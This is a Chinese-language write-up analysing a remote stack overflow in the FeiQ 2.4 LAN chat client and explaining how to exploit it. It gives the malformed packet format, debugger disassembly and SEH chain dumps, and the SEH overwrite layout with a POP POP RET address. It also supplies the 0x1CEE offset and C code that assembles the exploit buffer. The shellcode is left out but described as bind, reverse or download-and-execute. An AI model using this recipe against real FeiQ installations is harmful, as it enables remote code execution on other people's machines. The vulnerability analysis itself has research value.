飞秋远程可利用0day 的详细分析和利用方法 飞秋漏洞

飞秋是个不错的局域网通信软件，相信使用的用户不少，最新版本应该是2.5。考虑到可能对很多使用者造成隐患，这边就拿低一点的版本进行分析，为2.4版本。
其实artake已经说得很清楚了，很多大大可能不屑于这么简单的栈溢出，我这边权且当做抛砖引玉吧，见笑了。

一、
根据artake 提供的POC：
1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
调试定位到出现bug时的代码：

0049061C |. /EB 2E jmp short 0049064C
0049061E |> |81FB FF3F0000 cmp ebx, 3FFF
00490624 |. |B8 FF3F0000 mov eax, 3FFF
00490629 |. |7F 02 jg short 0049062D
0049062B |. |8BC3 mov eax, ebx
0049062D |> |8B7424 20 mov esi, dword ptr [esp+20]
00490631 |. |8BC8 mov ecx, eax
00490633 |. |8BD9 mov ebx, ecx
00490635 |. |C1E9 02 shr ecx, 2
00490638 |. |F3:A5 rep movs dword ptr es:[edi], dword p>; //在拷贝时溢出出错
0049063A |. |8BCB mov ecx, ebx
0049063C |. |8B5C24 2C mov ebx, dword ptr [esp+2C]
00490640 |. |83E1 03 and ecx, 3
00490643 |. |40 inc eax

在执行到00490638时，寄存器状态如下：

EAX FFFFFFFF
ECX 3FFFFFFF
EDX 00000000
EBX FFFFFFFF
ESP 0011B450
EBP 001235C8 ASCII "admin"
ESI 0011F525
EDI 00123670
EIP 00490638 飞秋FeiQ.00490638

可知从ESI地址拷贝3FFFFFFF byte数据到[00123670],拷贝时数据从低位往高位增长，即堆栈往下增长，堆栈栈底信息如下：
0012FFEC 00000000
0012FFF0 00000000
0012FFF4 00000000
0012FFF8 00552DC7 飞秋FeiQ.<ModuleEntryPoint>
0012FFFC 00000000

00123670 + 3FFFFFFF>0012FFFC ,明显溢出。


二、
溢出时，触发SEH,此时再观察堆栈中的SEH，查看SEH链：
SEH 链用于 主线程
地址 SE处理程序
0011F498 飞秋FeiQ.00589B89

0012D5F4 飞秋FeiQ.00593AA7
0012D678 飞秋FeiQ.00595644
0012D728 USER32.77D4048F
0012D788 USER32.77D4048F
0012D80C 飞秋FeiQ.005955B4
0012FF08 飞秋FeiQ.00586673
0012FFB0 飞秋FeiQ.00555990
0012FFE0 kernel32.7C839AD8

堆栈值>123670（拷贝的第一个EDI地址）的第一个SEH链为0012D5F4，进去看具体堆栈：
0012D5F0 0050F55F 返回到 飞秋FeiQ.0050F55F 来自 飞秋FeiQ.00550870
0012D5F4 0012D678 指向下一个 SEH 记录的指针
0012D5F8 00593AA7 SE处理程序
0012D5FC FFFFFFFF

初步构思淹没SEH指针和处理程序，从而能执行到自己的shellcode，构思结果如下：
0012D5F4 06EB06EB 指向下一个 SEH 记录的指针,这里更改为相当于jmp +4，跳到0012D5FC执行shellcode
0012D5F8 7FFA1571 SE处理程序，这个地址是经典的POP，POP,RET地址，XP SP1，SP2，SP3应该是通用
0012D5FC 0089E8FC 这里为shellcode开始地址
0012D600 89600000
0012D604 64D231E5
0012D608 8B30528B
0012D60C 528B0C52

三、
初步分析后，考虑如何实现以上淹没过程，首先需计算偏移，使其能正确淹没SEH地址。在这个例子中，计算偏移的方法比较简单，可直接利用artake提供的POC程序定位：
当数据刚好淹没到0012D5F8时，此时ESI数据位：1294A9，而数据开始地址为1277BB，则1294A9 - 1277BB = 1CEE。
也就是说数据偏移0X1CEE处即应为数据06EB06EB（jmp +4）。

在artake大大的代码下，简略更改如下：
char senddata1[] = "1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:";
char befor_shellcode[] ="\xeb\x06\xeb\x06\x71\x15\xfa\x7f"; //8 byte
int i=0;
int senddata1length = strlen(senddata1);
memset(sendbuf,'A',0x3fff);
strcpy(sendbuf,senddata1);
strcpy(sendbuf+senddata1length+0x1cee,befor_shellcode);
strcpy(sendbuf+senddata1length+strlen(befor_shellcode) + 0x1cee,shellcode);
上面的shellcode就不列出来了，是绑定端口或反弹端口或下载执行，仁者见仁，智者见智吧，如果shellcode里面有byte为0x00,那么可用encode方式或直接用for循环拷贝到sendbuf即可。

执行效果如下：